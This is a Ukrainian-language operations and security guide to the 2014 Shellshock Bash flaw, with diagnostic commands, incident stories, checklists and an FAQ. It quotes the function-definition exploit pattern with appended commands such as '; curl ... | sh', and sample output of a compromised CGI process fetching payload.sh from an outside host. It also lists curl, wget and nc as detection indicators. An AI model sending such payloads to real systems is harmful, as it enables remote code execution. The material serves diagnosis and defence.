Shellshock: коли змінна середовища стала новиною

Чому Shellshock мав значення (і досі має)

Shellshock — це не «помилка Bash» в тому сенсі, як ви могли б відмахнутися від локального граничного випадку парсера.
Це взаємодія дизайну: Bash підтримував експорт функцій через змінні середовища, і розбір цих змінних дозволяв
атакуючим додавати довільні команди. Якщо атакувальник міг контролювати змінну середовища, яку імпортував Bash,
він міг виконати код. Крапка.

Звучить вузько, поки ви не згадаєте, скільки шарів перетворюють зовнішній ввід на змінні середовища: CGI-шлюзи, що маплять HTTP-заголовки,
SSH, який може відкрити рядки, що контролюються користувачем, DHCP-клієнти, що наповнюють скрипти, обгортки cron,
моніторингові перевірки та вбудовані системи управління, які використовують shell-скрипти, бо «це просто».

Цікаві факти й історичний контекст (коротко, по суті)

• Експорт функцій Bash існував роками: Bash міг серіалізувати функцію в змінну середовища й відновити її в дочірніх шелах.
• Експлойт використовував коректний синтаксис: корисне навантаження починалося як визначення функції () { ...; } з додатковими командами після нього.
• Вперше оприлюднено у вересні 2014, і перший патч швидко доповнили додатковими виправленнями, коли з’являлися варіанти.
• CGI значно розширював радіус ураження: HTTP-заголовки часто стають змінними середовища в CGI, тож віддалені користувачі могли їх інжектувати.
• Вбудовані пристрої постраждали, бо вони постачалися з Bash (або схожими шелами) і рідко оновлювалися, навіть коли були вразливі.
• «Просто запатчити Bash» було недостатньо: потрібно було ще знайти шляхи, якими недовірений ввід потрапляв у Bash.
• Підписи WAF були шумними, бо навантаження виглядало як легітимний текст у заголовках, що приводило до хибних спрацювань і «вишибал»-правил.
• Атакуючі автоматизувалися миттєво: широкомасштабне сканування й опортуністична експлуатація почалися за лічені години після розкриття.

Shellshock дав старому урок надійності: серйозність — це не тільки бага, а й кількість шляхів, якими бага доступна.
Bash був скрізь. Змінні середовища були скрізь. А «якийсь скрипт запускає шел» — найпоширеніша недокументована залежність у світі.

Цитата, яку варто тримати на стікері:
парафразована ідея — Werner Vogels (CTO Amazon): «Ви побудували — ви експлуатуєте; операційна відповідальність залишається за командою, що доставляє продукт.»

Жарт №1: Bash намагався допомогти, імпортуючи функції з оточення. Як колега, який «допоможе» і вручну поредагує продакшн.

Як це працювало: експорт функцій, розбір і небажаний код

У Bash є можливість експортувати функцію в дочірні процеси. На практиці Bash кодує визначення функції в змінну середовища і,
коли запускається новий екземпляр Bash, він сканує середовище на наявність такого коду й автоматично оголошує функцію.

Проблема: логіка розбору не зупинялася в кінці визначення функції. Якщо змінна середовища виглядала як визначення функції і після цього йшов додатковий текст,
Bash виконував цей додатковий текст. Тож атакуючий відправляв щось на кшталт:

• Почати з того, що схоже на експорт функції: () { :; }
• Додати довільні команди: ; /bin/id або ; curl ... | sh

Ви можете запитати: «Чому Bash парсить змінні середовища як код під час старту?» Тому що експорт функцій — це код, і це колись було зручно.
Зручність старіє погано.

Ключовий патерн досяжності

Shellshock стає експлойтабельним, коли виконуються усі три умови:

1. Недовірений ввід може впливати на змінну середовища (безпосередньо або через правила мапінгу).
2. Запускається процес Bash (не будь-який шел; саме вразливий Bash) і імпортує цю змінну.
3. Цей Bash викликається в контексті, де виконання команд атакуючого має значення (CGI-обробник, скрипти з привілеями тощо).

Чому патчі виходили хвилями

Початкове виправлення затиснуло розбір, але дослідники швидко знайшли альтернативні кодування та крайові випадки.
Це нормально для вразливостей, пов’язаних із парсерами: перший патч закриває очевидний шлях,
потім люди кидають граматичне конфетті, поки кровотеча не припиниться.

Де це вдарило: CGI, SSH, DHCP і дивні куточки

CGI і HTTP-заголовки: класичний випадок

У CGI вебсервер часто мапить метадані запиту в змінні середовища. Наприклад,
User-Agent стає чимось на кшталт HTTP_USER_AGENT. Якщо CGI-скрипт викликає
Bash (або сам є Bash-скриптом), зловмисно сформований заголовок може потрапити в середовище і спрацювати вразливість.

Шлях експлуатації був болісно простим: надішліть запит з шкідливим заголовком, дайте вебсерверу запустити CGI-обробник,
і дивіться, як сервер виконав ваше навантаження. Тому Shellshock на перший погляд виглядав «здатним до хробакування».

SSH: менш очевидно, але реально

Сам SSH не був «вразливістю», але він може передавати змінні середовища (залежно від конфігурації сервера і поведінки клієнта).
Також багато конфігурацій із примусовими командами і обмеженими шелами в кінцевому підсумку викликають Bash під капотом.
Якщо це виклик імпортує вміст середовища, контрольований атакуючим, проблема реальна.

DHCP-клієнти та мережеві скрипти

Опції DHCP можуть наповнювати змінні середовища, які використовуються клієнтськими скриптами. Якщо DHCP-клієнт запускає
shell-скрипт, який викликає Bash з цими змінними, шкідливий DHCP-сервер (або підроблені відповіді ворожої мережі)
стають вектором виконання коду. Це особливо підступно для ноутбуків у публічних мережах і для «тимчасових» тестових пристроїв.

Вбудовані та appliance-системи

Пристрої часто мають веб-інтерфейси, що викликають shell-скрипти. Іноді це CGI, іноді власна обгортка, яка все одно виконує шелл.
Навіть якщо інтерфейс «внутрішній», атакуючі полюбляють внутрішнє.
«Внутрішній» означає «менше моніторингу» і «старше ПЗ».

Жарт №2: Найшвидший спосіб знайти Bash у вашому середовищі — оголосити «ми його видаляємо». Раптом у всіх виявляються залежності, про які забули.

Швидкий план діагностики

Коли на порядку денному Shellshock (або подібна «ввід → середовище → шелл» помилка), мета — не милуватися CVE.
Мета — швидко відповісти на три оперативні питання:

1. Чи вразливі ми прямо зараз?
2. Чи хтось намагається експлуатувати це прямо зараз?
3. Які шляхи доступу важливі в нашому оточенні?

По-перше: підтвердіть поверхню впливу, а не лише версії пакетів

• Визначте хости з вразливими версіями Bash.
• Визначте точки входу, які можуть передавати строки, керовані атакуючим, в змінні середовища (CGI, обгортки, адміністраторські UI, DHCP-скрипти, SSH AcceptEnv).
• Пріоритизуйте інтернет-доступні та високопривілейовані шляхи.

По-друге: шукайте сигнали активної експлуатації

• Веб-логи на наявність payload-ів у заголовках, що нагадують визначення функцій.
• Стрибки виконань процесів (неочікувані curl, wget, nc, криптомайнери).
• Вихідні з’єднання з серверів, які зазвичай не мають виходити в інтернет.

По-третє: ізолюйте та патчіть безпечно

• Патчте Bash скрізь, де можете.
• Вимикайте або ізолюйте CGI-шляхи, які викликають Bash або небезпечно вилучаються в шелл.
• Аудитуйте і обмежуйте передачу середовища в SSH і менеджерах сервісів.
• Інструментуйте: навіть ідеальне патчування не усуває клас проблем.

Підказка щодо вузького місця: команди марнують час на суперечки про «чи застосовується CVE», в той час як реальна затримка — це
виявлення активів. Якщо ви не можете відповісти «де Bash викликається з мережевого запиту», ваш інвентар — вигадка.

Практичні завдання: команди, виводи, рішення

Це реальні завдання, які ви можете виконати під час інциденту або під час сесії жорсткої підготовки. Кожне містить команду,
що означає вивід і яке рішення з нього випливає. Не запускайте їх один раз і сприймайте як безпеку; використовуйте їх у циклі інвентаризації та контролю.

Завдання 1: Перевірити, чи Bash вразливий (класичний тест)

cr0x@server:~$ env x='() { :;}; echo VULNERABLE' bash -c 'echo SAFE'
VULNERABLE
SAFE

Що це означає: Якщо ви бачите VULNERABLE, то Bash виконав додану команду під час старту.
Якщо друкується лише SAFE, цей конкретний експлойт-рядок не спрацював.

Рішення: Якщо вразливий, негайно патчіть і вважайте, що будь-який шлях виклику Bash може бути експлуатований.
Якщо не вразливий — все одно проведіть тестування варіантів і перегляд досяжності.

Завдання 2: Перевірити патчований поведінку (одна загальна перевірка варіанта)

cr0x@server:~$ env x='() { (a)=>\' bash -c 'echo TEST'
bash: warning: x: ignoring function definition attempt
TEST

Що це означає: Патчований Bash часто виводить попередження про ігнорування спроб визначення функції, що виглядає неправильно.
Точна формулювання залежить від дистрибутива/рівня патчу.

Рішення: Попередження прийнятні; виконання команд — ні. Якщо бачите виконання команд, патчі не завершені.

Завдання 3: Визначити версію пакету Bash (Debian/Ubuntu)

cr0x@server:~$ dpkg -l bash | awk 'NR==1 || $1 ~ /^ii/ {print}'
Desired=Unknown/Install/Remove/Purge/Hold
ii  bash  5.1-2ubuntu3.6  amd64  GNU Bourne Again SHell

Що це означає: Показує встановлену версію Bash. Це саме по собі не доводить безпеку, але дає початкову карту по парку.

Рішення: Порівняйте з фіксованими версіями вашого дистрибутива. Якщо неясно, спирайтеся на поведінкові тести й повідомлення постачальника.

Завдання 4: Визначити версію пакету Bash (RHEL/CentOS/Fedora)

cr0x@server:~$ rpm -q bash
bash-5.1.8-9.el9.x86_64

Що це означає: Встановлена версія-release RPM.

Рішення: Якщо реліз старіший за ваш безпековий базлайн, заплануйте оновлення; якщо не можете оновити, ізолюйте вплив і замініть шляхи виклику Bash.

Завдання 5: Швидко знайти використання CGI (Apache)

cr0x@server:~$ apachectl -M | egrep 'cgi|cgid'
 cgid_module (shared)

Що це означає: Модуль CGI увімкнено (або cgi, або cgid).

Рішення: Якщо CGI увімкнено на хостах з доступом з інтернету, проведіть аудит скриптів і який інтерпретатор вони використовують; відключіть CGI, якщо не потрібен.

Завдання 6: Знайти CGI-скрипти та виявити шебанги Bash

cr0x@server:~$ sudo find /var/www -type f -maxdepth 5 -perm -111 -print | head
/var/www/cgi-bin/status
/var/www/cgi-bin/healthcheck
/var/www/html/app/hooks/deploy

cr0x@server:~$ sudo head -n 1 /var/www/cgi-bin/status
#!/bin/bash

Що це означає: Існують виконувані скрипти, і принаймні один напряму використовує Bash.

Рішення: Розглядайте CGI-скрипти на Bash як високий ризик. Патчіть Bash і також рефакторіть скрипти, щоб уникати успадкування недовірених змінних середовища (або повністю відмовитися від CGI).

Завдання 7: Перевірити, чи логуються HTTP-заголовки (для якості детекції)

cr0x@server:~$ sudo grep -R "LogFormat" -n /etc/apache2 | head -n 3
/etc/apache2/apache2.conf:214:LogFormat "%h %l %u %t \"%r\" %>s %b" common

Що це означає: Формати логів за замовчуванням не включають заголовки. Це обмежує детекцію Shellshock через перегляд логів.

Рішення: Якщо потрібна судова інформація, тимчасово ввімкніть цілеспрямоване логування заголовків на уражених віртуальних хостах (обережно: приватність, об’єм і секрети).

Завдання 8: Полювати на рядки експлойту в access-логах

cr0x@server:~$ sudo zgrep -h "(){ :" /var/log/apache2/access.log* | head
203.0.113.17 - - [22/Jan/2026:02:11:03 +0000] "GET /cgi-bin/status HTTP/1.1" 200 182

Що це означає: Наявність шаблонів (){ : вказує на сканування або спроби експлуатації. Логи можуть не містити повних заголовків, якщо ті не логувалися.

Рішення: Якщо бачили — вважайте, що ви під прицілом. Корелюйте з виконанням процесів, вихідним трафіком і перевірками цілісності файлів.

Завдання 9: Перевірити запущені процеси на підозрілі дочірні шелли, породжені вебсервером

cr0x@server:~$ ps -eo pid,ppid,user,cmd --sort=ppid | egrep 'apache2|httpd|bash -c' | head
1221     1 root     /usr/sbin/apache2 -k start
1874  1221 www-data bash -c /var/www/cgi-bin/status

Що це означає: Вебсервер породжує Bash — це досяжний шлях. Це не автоматично зло, але це поверхня атаки.

Рішення: Зменшіть або усуньте виклики шеллу. Якщо вони потрібні, обмежте привілеї, мінімізуйте середовище і застосуйте обов’язкові механізми доступу.

Завдання 10: Підтвердити конфігурацію передачі середовища SSH

cr0x@server:~$ sudo sshd -T | egrep 'acceptenv|permituserenvironment'
acceptenv LANG LC_*
permituserenvironment no

Що це означає: AcceptEnv контролює, які клієнтські змінні середовища можуть бути прийняті; PermitUserEnvironment контролює файли середовища на користувача.

Рішення: Тримайте PermitUserEnvironment no, якщо немає вагомої причини інакше. Обмежте AcceptEnv лише локалями у більшості середовищ.

Завдання 11: Перевірити DHCP-хуки на виконання шеллу

cr0x@server:~$ ls -1 /etc/dhcp/dhclient-exit-hooks.d 2>/dev/null | head
route-metrics
update-resolvconf

cr0x@server:~$ sudo grep -R "bash" -n /etc/dhcp /etc/network 2>/dev/null | head
/etc/dhcp/dhclient-exit-hooks.d/update-resolvconf:3:#!/bin/bash

Що це означає: DHCP-скрипти можуть використовувати Bash. Якщо вони обробляють недовірені опції DHCP небезпечно, це вектор.

Рішення: У незнайомих мережах ставте DHCP-скрипти у категорію «під впливом». Патчіть Bash і перевіряйте хук-скрипти на небезпечні eval/expansion.

Завдання 12: Виявити вихідні з’єднання з вебсерверу (швидка триаж)

cr0x@server:~$ sudo ss -tpn | head
State  Recv-Q Send-Q Local Address:Port  Peer Address:Port Process
ESTAB  0      0      10.0.0.12:43822    198.51.100.40:80  users:(("curl",pid=2440,fd=3))

Що це означає: Процес на кшталт curl, що робить вихідні з’єднання з хоста, який зазвичай лише обслуговує вхідні запити, — підозріло.

Рішення: Якщо неочікувано — ізолюйте хост, зафіксуйте докази (дерево процесів, бінарні файли, скрипти) і виконайте ротацію облікових даних. Не «просто вбийте curl» і забудьте.

Завдання 13: Прослідкувати ланцюг батько-дитина для підозрілих процесів

cr0x@server:~$ ps -o pid,ppid,user,cmd -p 2440
  PID  PPID USER     CMD
 2440  1874 www-data curl -fsSL http://198.51.100.40/payload.sh

cr0x@server:~$ ps -o pid,ppid,user,cmd -p 1874
  PID  PPID USER     CMD
 1874  1221 www-data bash -c /var/www/cgi-bin/status

Що це означає: Це пов’язує підозрілу вихідну активність з CGI-скриптом на Bash.

Рішення: Час ізоляції: відключіть уразливий endpoint, заблокуйте вихід, і перебудуйте з чистих образів, якщо компроміс імовірний.

Завдання 14: Швидкий триаж цілісності файлів у типових місцях розміщення

cr0x@server:~$ sudo find /tmp /var/tmp -maxdepth 2 -type f -mtime -2 -ls | head
131089  4 -rw-r--r-- 1 www-data www-data  892 Jan 22 02:12 /tmp/.x.sh

Що це означає: Недавно змінені виконувані файли або скрипти в тимчасових директоріях — класичні артефакти після експлойту.

Рішення: Не видаляйте одразу. Зафіксуйте хеші, вміст і часові мітки, потім ізолюйте. Якщо ви не готові до судового аналізу, перебудуйте хост.

Завдання 15: Підтвердити, що на вашому дистрибутиві /bin/sh не є Bash (формування ризику)

cr0x@server:~$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Jan 10 09:01 /bin/sh -> dash

Що це означає: Якщо /bin/sh вказує на dash (звично для Debian/Ubuntu), менше скриптів неявно викликають Bash.

Рішення: Це зменшує випадковий вплив, але не усуває його. У вас все ще залишаються явні Bash-скрипти й виклики bash.

Завдання 16: Шукати в коді ризиковані патерни, що посилюють подібні помилки

cr0x@server:~$ sudo grep -R --line-number -E '\beval\b|bash -c|/bin/bash' /var/www /usr/local/bin 2>/dev/null | head
/var/www/cgi-bin/status:18:eval "$QUERY_STRING"
/usr/local/bin/deploy-hook:5:/bin/bash -c "$1"

Що це означає: eval і bash -c перетворюють рядки на код. У поєднанні з недовіреним середовищем або вводом — це самостріл у ногу.

Рішення: Замініть на безпечний парсинг, білі списки або параметризовані виклики. Якщо не можна — загорніть у строгі валідації й контейнери обмеження.

Три корпоративні міні-історії з передової

Міні-історія 1: Інцидент через хибне припущення

Середня SaaS-компанія мала внутрішній адмін-інструмент, який «працював лише через VPN». Це був старий CGI,
бо інструмент починався як швидка панель для ops, потім додали кнопки, потім користувачів, потім «важливість для бізнесу».
Скрипт був на Bash. Він викликав кілька внутрішніх API і запускав кілька допоміжних бінарів.

Хибне припущення було чистим і впевненим: внутрішній = безпечний. Вони спочатку запатчили хости, що виходять в інтернет,
а потім поставили внутрішні на «пізніше цього тижня», бо вікна обслуговування, комісії змін і загальна театральність безпеки.

Через два дні ноутбук підрядника підключився до VPN з скомпрометованої домашньої мережі. Атакуючому не треба було «ламати VPN»;
йому потрібна була опора на ноутбуці і шлях до внутрішніх сервісів. Адмін-інструмент був доступний, а логи доступу були тонкими.
Декілька підлаштованих запитів — і Bash CGI-ендпоїнт виконав payload, який створив зворотний шелл до зовнішнього хоста — бо egress з внутрішніх серверів
був відкритий для «моніторингу».

Інцидент не був катастрофічним, але дорогим. Вони перебудували декілька хостів, ротація секретів відбулася,
і тижнями доводилося пояснювати, чому «лише VPN» — не межа безпеки. Постмортем вивів корисне речення:
внутрішні сервіси заслуговують на таку саму терміновість патчів, як і зовнішні, коли точка входу доступна будь-якому пристрою користувача.

Виправлення було нудним і структурним: пріоритет патчів переналаштували за досяжністю та привілеєм, а не за мітками «інтернет-фейсінг».
Обмежили вихідний трафік, і адмін-інструмент переписали, щоб перестати шукати шелл для всього, бо виклики шеллу успадковують усі unix-фейл-сторі.

Міні-історія 2: Оптимізація, що обернулася проти

Інша організація тримала високонавантажений маркетинговий сайт на фермі Apache. Щоб пришвидшити динамічний контент роки тому,
вони зробили тонку CGI-обгортку, що виконувала невеликі скрипти. Це було «швидше за стек додатка» і легко для команд, що не з розробки, змінювати.
Продуктивність покращилась, і патерн поширився. Усе стало скриптом.

Коли з’явився Shellshock, вони швидко запатчили Bash. Потім оголосили перемогу, бо сканери сказали «не вразливі».
Але через тиждень почалися дивні стрибки CPU і вихідного трафіку. Не величезні. Просто достатні, щоб погіршити хвостову латентність і спровокувати автоскейлінг.

Відкатом стала другорядна ефект: їхнє правило WAF для блокування payload-ів Shellshock було надто широким і стало відкидати запити з певними шаблонами заголовків.
upstream-партнер почав агресивно повторювати запити. Сайт отримав сплески повторних запитів, які вражали CGI-обгортки сильніше, ніж кешовані шляхи,
що породжувало більше форків процесів і більше навантаження. Отже «безпекова оптимізація» стала регресією продуктивності, і on-call отримав двовимірний інцидент:
безпека + ємність.

Виправили, переставши вважати WAF заміною поведінки додатка. Налаштували правила з виміряними хибними спрацьовуваннями, додали лімітування запитів
для конкретних партнерських endpoint-ів і, найважливіше, зменшили залежність від fork/exec CGI, перемістивши логіку в довго працюючий сервіс з чіткою валідацією вводів.

Винос: якщо ваше пом’якшення змінює поведінку прийняття запитів, ви маєте змоделювати повторні спроби клієнтів. Засоби безпеки, що викликають ретраї,
фактично є навантажувальним тестом.

Міні-історія 3: Нудна, але правильна практика, що врятувала день

Команда фінпослуг мала репутацію «надто повільних». У них також був pipeline золотих образів,
агресивний конфіг-менеджмент і звичка відключати невикористовувані функції. Їх дражнили за це. Потім стався Shellshock.

Їхнє середовище було велике, але однорідне. Версії Bash контролювалися через базові образи. Більш того,
CGI не дозволяли в продуктивних веб-рівнях — це було заборонено політикою і перевірялося в CI. Де запускали shell-скрипти,
їх запускали під обмеженими сервісними акаунтами з мінімальними змінними середовища, а вихідний трафік за замовчуванням блокувався.

Вони, звісно, теж патчили. Але вікно ризику був маленький, бо шляхи до експлуатації були обмежені. Вони могли доказово сказати:
«немає CGI, AcceptEnv тільки для локалі, немає дивних legacy-обгорток». Безпека не гадала. SRE не мусив grep-ити 800 серверів о 3 ранку.

Що їх врятувало — не геройські вчинки, а нудна механіка: інвентар, стандартні образи і дефолтна позиція, що будь-який рядок, що переходить межу, зрештою може бути зловмисним.
Вони виглядали повільними у звичайний день і швидкими в поганий — а це єдина швидкість, яка має значення.

Поширені помилки: симптом → корінь → виправлення

Помилка 1: «Ми запатчили Bash, тож все зроблено.»

Симптоми: Скан безпеки показує запатчені версії, але ви все ще бачите підозрілі дерева процесів або дивний вихідний трафік.

Корінь: Частина хостів не була запатчена (золоті образи відхилилися, вбудовані пристрої, контейнери зі старими базовими шарами),
або ви запатчили пакет, але довго працюючі процеси все ще використовують старі бінарі у chroot/контейнерах.

Виправлення: Підтвердіть поведінку тестами експлойту, перераховуйте всі runtime-контексти (контейнери, chroot, appliances) і перезапустіть сервіси,
що виконують Bash. Сприймайте «пакет запатчено» як необхідну, але не достатню вимогу.

Помилка 2: Полювання лише в шляхах запитів, а не в заголовках

Симптоми: Немає підозрілих рядків запиту, але є індикатори компромісу.

Корінь: Payload-и Shellshock часто ховаються в заголовках (User-Agent, Referer, Cookie), які за замовчуванням не логуються.

Виправлення: Тимчасово ввімкніть цілеспрямоване логування заголовків для розслідування або використайте захоплення пакетів / логи зворотного проксі, де заголовки зберігаються.

Помилка 3: Вимкнути CGI глобально, не перевіривши залежності

Симптоми: Після пом’якшення «випадають» рандомні endpoint-и: перевірки стану не проходять, застарілі інтеграції тайм-аутяться, внутрішні інструменти зникають.

Корінь: CGI був прихованою залежністю для health-check-ів, hooks деплойменту або «тимчасових» інструментів, що стали постійними.

Виправлення: Спочатку ідентифікуйте CGI-скрипти, замініть критичні шляхи на безпечні еквіваленти, потім відключайте модулі контрольовано.

Помилка 4: Залишати egress відкритим «для зручності»

Симптоми: Експлуатація швидко перетворюється на другорядні завантаження (майнери, бот-клієнти) і вихідні маячки.

Корінь: Сервери, яким не потрібен доступ до інтернету, усе одно можуть його мати; атакуючі використовують це для стадіювання payload-ів.

Виправлення: Впровадьте default-deny egress для підмереж серверів. Дозвольте лише потрібні напрямки (репозиторії через проксі, конкретні API).

Помилка 5: Довіряти «внутрішнім мережам» щодо ворожих вводів

Симптоми: Внутрішні endpoint-и зламані; звинувачують «внутрішні загрози» без доказів.

Корінь: Компрометовані кінцеві точки (ноутбуки, VPN-клієнти) знаходяться всередині. DHCP, внутрішній HTTP і адмін-панелі все ще бачать ввід, керований атакуючими.

Виправлення: Розглядайте внутрішнє як напівдовірене на краще. Надавайте однакову обробку вводу і терміновість патчів внутрішнім доступним сервісам.

Помилка 6: Надто широкі правила WAF, що спричиняють само-DOS

Симптоми: Після розгортання правил пом’якшення, швидкість запитів зростає, клієнти повторюють, сайт сповільнюється або «тане».

Корінь: Хибні спрацьовування викликають ретраї; деякі клієнти погано реалізують експоненційний бекаф або взагалі не реалізують.

Виправлення: Розгорніть зміни WAF з моніторингом 4xx та патернів повторів, додайте лімітування запитів і віддавайте пріоритет виправленню вразливого шляху виконання.

Чек-листи / покроковий план

Покроковий план: реагування на інцидент при підозрі на Shellshock

1. Підтвердіть поведінку вразливості на репрезентативних хостах (не лише версії пакетів). Використайте env-тест і зафіксуйте результати.
2. Визначте досяжні шляхи виконання: CGI-ендпоїнти, адмін-інструменти, будь-який сервіс, що викликає шелл і може успадкувати метадані запиту.
3. Шукайте докази експлуатації: логи доступу (навіть часткові), дерева процесів, вихідні з’єднання, нові файли в тимчасових папках, зміни cron.
4. Ізолюйте: відключіть або заблокуйте вразливі ендпоїнти; обмежте egress; ізолюйте підозрілі хости від чутливих мереж.
5. Патчіть Bash по всьому середовищу, включно з образами, контейнерами та «особливими» машинами.
6. Перезапустіть сервіси, що виконують скрипти, і перебудуйте контейнери. Патч файлу на диску не змінює поведінку запущених процесів.
7. Гігієна облікових даних: ротація секретів, до яких могли мати доступ скомпрометовані процеси (API-ключі, креди БД, токени деплойменту).
8. Утихомирення: якщо компроміс імовірний — перебудуйте хости з відомих чистих образів. «Очищення» — для лабораторій, не для продакшн.
9. Післяінцидентне укріплення: зменшити виклики шеллу, обмежити передачу середовища, впровадити egress-контролі, додати детекцію підозрілих породжень процесів.

Покроковий план: ущільнення проти класу Shellshock

1. Інвентаризація де існує Bash (пакети, контейнери, вбудовані) і де він викликається (шебанги, bash -c, обгортки).
2. Ліквідуйте CGI де можливо. Якщо лишаєте — обмежте скрипти не-shell інтерпретаторами і санітизовуйте змінні середовища.
3. Приберіть eval зі скриптів. Замініть на строгий парсинг і білі списки дозволених значень.
4. Фіксуйте базові образи і регулярно перебудовуйте. Запатчений хост з незапатченим контейнером — теж інцидент.
5. Обмежте передачу середовища SSH до відомо безпечних змінних (зазвичай лише локаль).
6. Default-deny egress для підмереж серверів; дозволяйте лише необхідне.
7. Додайте детекцію для вебсерверів, що породжують шелли, і для неочікуваних вихідних з’єднань.
8. Відпрацюйте сценарій: проведіть tabletop для сценарію «помилка парсера в універсальному компоненті». Вузьке місце — інвентаризація, а не патчі.

Чек-лист розгортання (що я вимагатиму перед тим, як назвати це «завершено»)

• Поводжені тести пройдені на зразку кожної ОС/образу і кожного контейнерного базового образу.
• Використання CGI перелічено; непотрібні модулі відключено; необхідні скрипти пройшли аудит.
• Конфіг SSHD перевірено: обмежене AcceptEnv, PermitUserEnvironment no, якщо немає підстав.
• Моніторинг налаштовано на apache2/httpd, що породжує bash, і на неочікувані curl/wget з ролей серверів.
• Політика egress застосована для веб- і адміністраторських рівнів.
• Золоті образи перебудовано і повторно розгорнуто; реєстрація дрейфу активна.
• Оцінка компромісу завершена для будь-якого хоста з індикаторами експлуатації; рішення про перебудову зафіксовані.

Питання й відповіді

1) Чи був Shellshock експлуатований лише через веб (CGI)?

Ні. CGI зробив його відомим, бо мапив заголовки в змінні середовища і часто запускав шелл. Але будь-який шлях, де
недовірений ввід впливає на змінні середовища і запускається вразливий Bash, може бути експлуатований: налаштування SSH, DHCP-скрипти,
кастомні обгортки і вбудовані системи управління.

2) Якщо моя система використовує dash для /bin/sh, чи я в безпеці?

Безпечніше, але не гарантія. Багато скриптів явно використовують #!/bin/bash або викликають bash -c.
Також додатки можуть запускати Bash напряму. Перевіряйте фактичні виклики, а не лише симлінк /bin/sh.

3) Чи усуває патчування Bash потребу в правилах WAF?

Спочатку патчі. WAF може зменшити опортуністичний шум сканування і купити час, але вони крихкі і можуть давати хибні спрацьовування.
Використовуйте WAF як ремінь безпеки, а не як основне гальмо.

4) Чому патчі виходили кілька разів?

Бо баги парсерів — гідра. Виправлення одного шаблону не гарантує покриття всіх еквівалентних кодувань.
Постачальники ітерувалися, коли дослідники знаходили обхідні шляхи й споріднені поведінки.

5) Чи можна надійно виявити експлуатацію Shellshock у логах?

Іноді. Якщо ви логували заголовки (багато хто не робить), можна grep-ом шукати патерни, схожі на визначення функцій.
Без заголовків доводиться більше спиратися на вторинні індикатори: веб-процеси, що породжують шелли, неочікуваний вихідний трафік, нові тимчасові скрипти і дивні cron-записи.

6) Чи змінюють контейнери історію Shellshock?

Вони ускладнюють інвентаризацію. Запатчений пакет хоста не патчить userland контейнера. Якщо ваші образи містять вразливий Bash, контейнери вразливі,
навіть якщо пакет на хості оновлено. Перебудуйте і розгорніть заново.

7) Яка найшвидша міра пом’якшення, якщо негайно не можна патчити?

Зменшіть досяжність: відключіть CGI-ендпоїнти, що викликають Bash; блокуйтe підозрілі заголовки на краю з обережним налаштуванням;
обмежте egress. Також видаліть або загейтіть функції, що приймають ввід і передають його в bash -c або eval.
Потім патчіть як тільки зможете.

8) Достатньо запатчити і перезапустити Apache?

Це залежить від інших шляхів виклику Bash. Перезапуск Apache допомагає, якщо саме Apache породжує CGI-обробники.
Але треба також патчити бінарний файл Bash, перебудовувати образи/контейнери і перезапускати інші сервіси, що виконують скрипти.

9) Чи може Shellshock привести до підвищення привілеїв?

Так, опосередковано. Початкове виконання коду йде з правами того користувача, від імені якого виконується вразливий Bash (часто www-data),
але атакуючі можуть перейти далі, використовуючи локальні експлойти для підвищення прав, крадіжку облікових даних, слабкі sudo-правила або відкриті секрети.

10) Який довготерміновий урок для інженерії надійності?

Не будуйте системи, де «рядок стає кодом» — норма. Ставтеся до парсингу і неявної оцінки як до ризику в продакшні.
Віддавайте перевагу довго працюючим сервісам зі строгими схемами вводу замість fork/exec-скриптів, що успадковують половину всесвіту через змінні середовища.

Наступні кроки, які реально виконати

Якщо ви хочете, щоб Shellshock залишився історичною анекдотою, а не повторювався у вашому трекері інцидентів, зробіть ось це:

1. Запустіть поведінкові тести для Bash на кожному базовому образі, який ви шипите (VM і контейнер). Зберігайте результати як метадані збірки.
2. Інвентаризуйте шляхи виконання: grep-ніть на #!/bin/bash, bash -c і eval у production-коді і ops-скриптах.
3. Вбивайте CGI, де можна. Якщо не можна — обмежуйте: облікові записи з мінімальними правами, мінімальне середовище, строгі білі списки і жорсткий egress.
4. Впровадьте egress-контроль для ролей серверів. Shellshock-клас експлойтів любить завантажувати «другу стадію». Зробіть це дорогою процедурою.
5. Зробіть дрейф болючим: забезпечте примусові рівні патчів конфіг-менеджментом і відмовляйте збіркам, що тягнуть старий Bash в образи.
6. Відпрацюйте сценарій: наступна світова бага не буде Bash. Це буде щось інше, що ви вважали «просто інфраструктура».

Shellshock не був магією. Це був звичайний ланцюжок: неявна поведінка + досяжний ввід + широко вживане ПЗ.
Ваше завдання — розірвати ланцюги, а не гнатися за заголовками.